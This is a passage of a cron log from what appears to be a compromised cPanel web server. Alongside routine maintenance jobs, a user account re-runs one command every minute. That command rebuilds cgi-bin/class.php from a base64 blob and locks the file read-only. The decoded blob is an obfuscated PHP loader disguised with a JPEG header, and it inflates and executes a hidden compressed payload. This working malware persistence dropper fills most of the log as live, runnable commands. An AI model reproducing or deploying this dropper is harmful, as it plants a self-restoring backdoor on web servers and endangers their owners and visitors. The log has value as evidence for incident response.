ZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:49:01 server CROND[5241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:50:01 server CROND[5401]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 06:50:01 server CROND[5402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:50:01 server CROND[5403]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 06:50:01 server CROND[5407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:50:01 server CROND[5408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:51:01 server CROND[5521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:52:01 server CROND[5591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:53:01 server CROND[5648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:54:01 server CROND[5702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:55:01 server CROND[5774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:55:01 server CROND[5776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:55:01 server CROND[5777]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:56:01 server CROND[5987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:57:01 server CROND[6056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 06:57:01 server CROND[6057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:58:01 server CROND[6113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:59:01 server CROND[6165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:00:01 server CROND[6227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:00:01 server CROND[6228]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:00:01 server CROND[6230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:00:01 server CROND[6229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 07:01:01 server CROND[6349]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 07:01:01 server CROND[6348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:01:01 server run-parts(/etc/cron.hourly)[6349]: starting 0anacron
Apr  7 07:01:01 server run-parts(/etc/cron.hourly)[6361]: finished 0anacron
